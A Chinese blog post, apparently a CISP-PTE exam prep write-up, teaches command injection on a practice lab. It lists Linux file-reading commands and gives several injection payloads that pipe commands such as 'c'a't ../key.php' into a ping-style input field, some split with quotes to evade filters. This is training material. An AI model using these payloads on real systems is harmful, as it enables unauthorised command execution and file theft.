当前位置:网站首页>CISP-PTE之命令注入篇

CISP-PTE之命令注入篇

2022-07-06 18:16:00 炫彩@之星

命令执行靶场讲解

上一篇文章我们讲解了实操练习题(二)的讲解,其中的命令执行有第二种解法,就是在没有过滤的情况下,很快就会有答案了。
在这里插入图片描述
在这里插入图片描述
我们直接用tac进行读取文件
在这里插入图片描述
进行提交,看看结果如何
在这里插入图片描述
发现,直接就出现答案了,并没有对相关语句进行过滤,所以,在考试中,还会出现过滤的情况,大家要学会如何进行绕过,找到答案。

命令注入相关知识讲解

个人觉得这个命令注入是最简单的。

在这之前先来了解下读文件都可以用哪些命令吧。

linux常用于读取文件内容指令主要有以下七种:

cat、tac、nl、more、less、head、tail

cat: 由第一行开始显示内容,并将所有内容输出

cat 文件名 将文件内容显示在屏幕上

cat -n 文件名 将文件内容显示在屏幕上,并显示行号

cat -b 文件名 将文件内容显示在屏幕上,并显示行号,但是不显示空白行行号

tac: 从最后一行倒序显示内容,并将所有内容输出

tac 文件名 将文件内容显示在屏幕上,但是是从最后一行开始往前显示
tac -s separator 文件名 –从separator往后倒序输出,倒序输出不包含separator,输出到最后一行再按照顺序将separator之前的内容输出
tac -b -s separator 文件名 –从separator往后倒序输出,倒序输出包含separator,输出到最后一行再按照顺序将separator之前的内容输出

nl: 类似于cat-n,显示时输出行号

nl 文件名   (就是nl -b t 文件名) 使用nl指令肯定是显示行号的,主要是操作行号如何显示
nl -b a 文件名   显示行号,空行也显示行号
nl -b t 文件名    显示行号,空行不显示行号(默认值)
nl -w 数字x 文件名 行号字段所占用的位数
nl -n ln 文件名 行号在字段最前方那段空间最左端显示
nl -n rn 文件名 行号在字段最前方那段空间最右端端显示,且不加0
nl -n rz 文件名 行号在字段最前方那段空间最右端端显示,且加0

more:根据窗口大小,一页一页的查看文件内容

more 文件名

less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符

less 文件名

head:只显示头几行

haed 文件名 –显示文件头十行

tail:只显示最后几行

tail文件名 –显示文件尾部

相关题目可设置的payload:

经测试,以下payload均可完成这道题。

127.0.0.1 | less …/key.php

127.0.0.1 | m’or’e …/key.php

127.0.0.1 | tail …/key.php

127.0.0.1 | v’'i …/key.php

127.0.0.1 | c’a’t …/key.php

127.0.0.1 | head …/key.php

127.0.0.1 | nl …/key.php

|od -c …/key.php

|xxd …/key.php

|xxd …/key.php|grep key

|grep “key” …/key.php

|sed -n ‘1,5p’ …/key.php|grep key

相关命令执行的靶场

在这里插入图片描述
在这里插入图片描述
直接用刚才的payload试:
127.0.0.1 | m’or’e …/key.php
经测试这个靶场可以用的payload:

127.0.0.1 | v’'i …/key.php

127.0.0.1 | c’a’t …/key.php

127.0.0.1 |xxd …/key.php

127.0.0.1 |grep “key” …/key.php

原网站

版权声明
本文为[炫彩@之星]所创,转载请带上原文链接,感谢
https://blog.csdn.net/lza20001103/article/details/125640999